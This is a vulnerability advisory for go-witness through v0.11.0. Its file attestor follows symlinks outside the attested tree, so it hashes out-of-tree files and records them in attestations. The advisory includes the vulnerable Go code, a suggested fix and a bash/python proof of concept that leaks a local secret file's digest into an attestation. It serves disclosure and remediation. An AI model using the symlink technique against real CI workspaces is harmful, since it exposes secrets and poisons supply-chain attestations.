# GHSA-V6PX-JQX8-8XWJ: File attestor follows symlinks outside the base path and records out-of-tree files

- Database: GitHub
- Severity: CVSS 4.8 (Medium)
- Published: 2026-07-10
- Modified: 2026-08-20

## Tracked as

- [CVE-2026-77306](https://cve.now/CVE-2026-77306.md): go-witness: File attestor follows symlinks outside the base path and records out-of-tree files

## Affected versions

- github.com/in-toto/go-witness (Go): through v0.11.0
- github.com/in-toto/witness (Go): through v0.11.0

## Description

## Summary

`RecordArtifacts` resolves a symbolic link with `filepath.EvalSymlinks` and then recurses into the
resolved path with no check that the target stays within the base path being attested. A symlink in
the attested directory tree that points outside it causes the file attestor to open, hash, and
record the out-of-tree target. Running `witness run` over an attacker-influenced directory (a
checked-out repository, a pull-request build, an unpacked archive) therefore reads files outside the
intended workspace (secrets, system files) and records their digests and paths into the attestation.

## Impact

Two effects. First, arbitrary out-of-tree file read by the attestor: it opens and hashes the symlink
target, so a malicious tree can make `witness run` read and fingerprint files outside the workspace
(disclosing existence and digests of secrets or system files), and can point at large or special
files. Second, attestation poisoning: the attestation claims artifacts that are actually files
outside the intended tree. In CI this is reachable whenever `witness run` attests a directory whose
contents an attacker can influence (a PR branch, an untrusted source checkout, an unpacked archive).
Confidentiality and integrity impacts are Low individually (VC:L / VI:L); there is no availability
impact in scope. `PR:L` reflects that the attacker must be able to place a symlink in the attested
directory.

**Real-world exploitation conditions.** The attacker controls (or can write a symlink into) the
directory tree that `witness run` attests. No special privileges beyond that are required (`AT:N`).

## Details

In `RecordArtifacts` (`go-witness attestation/file/file.go`), when a path is a symlink the code
resolves it and recurses into the resolved location (`attestation/file/file.go:66`):

```go
if info.Mode()&fs.ModeSymlink != 0 {
    linkedPath, err := filepath.EvalSymlinks(path)
    ...
    visitedSymlinks[linkedPath] = struct{}{}
    symlinkedArtifacts, err := RecordArtifacts(linkedPath, baseArtifacts, hashes, visitedSymlinks, processWasTraced, openedFiles, dirHashGlob)
    ...
}
```

`linkedPath` is the fully resolved target. There is a `visitedSymlinks` set to prevent infinite
loops, but **no check that `linkedPath` is contained within the original `basePath`**. So a symlink
inside the attested tree that resolves to a file (or directory) outside the tree is followed, and the
out-of-tree content is opened, hashed, and added to the returned artifact map under the in-tree link
name.

## Proof of Concept

A secret file is placed outside the attested tree; a symlink inside the working directory points to
it. After `witness run`, the out-of-tree file's real SHA-256 appears in the attestation's material
set.

```bash
# BUILD the witness CLI (needs Go; this PoC also needs openssl + python3):
#   git clone https://github.com/in-toto/witness && cd witness && git checkout main \
#     && go build -o /tmp/witness . && cd - && export PATH=/tmp:$PATH

SECRET=$(mktemp /tmp/outoftree-secret.XXXXXX); echo "TOP-SECRET-OUT-OF-TREE" > "$SECRET"
mkdir att && cd att
echo "in-tree" > realfile.txt
ln -s "$SECRET" leak.link            # symlink to a file OUTSIDE the attested tree
openssl genpkey -algorithm ed25519 -out k.key
witness run --step build -a environment -k k.key -o att.json -- /bin/echo hi

# The attestation's material set now contains the out-of-tree file (its real sha256):
SECRET="$SECRET" python3 - <<'PY'
import json,base64,hashlib,os
s=json.loads(base64.b64decode(json.load(open('att.json'))['payload']))
mats={v for a in s['predicate']['attestations'] if a['type'].endswith('material/v0.1')
        for ds in (a['attestation'] or {}).values() for v in ds.values()}
print("out-of-tree digest recorded:", hashlib.sha256(open(os.environ['SECRET'],'rb').read()).hexdigest() in mats)
PY
#   -> out-of-tree digest recorded: True
```

Observed: `out-of-tree digest recorded: True`. The file attestor followed `leak.link` outside the
attested tree and recorded the secret's digest.

## Suggested fix

After `EvalSymlinks`, verify the resolved target is within `basePath` before recursing (for example
with `filepath.Rel(basePath, linkedPath)` and rejecting any result that escapes with `..` or is
absolute outside the base), and skip targets that resolve outside the attested tree. Optionally make
the behavior configurable for operators who deliberately want to follow out-of-tree symlinks, but
default to staying within the base path.

## References

- https://github.com/in-toto/go-witness/security/advisories/GHSA-v6px-jqx8-8xwj

Page: https://cve.now/GHSA-V6PX-JQX8-8XWJ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
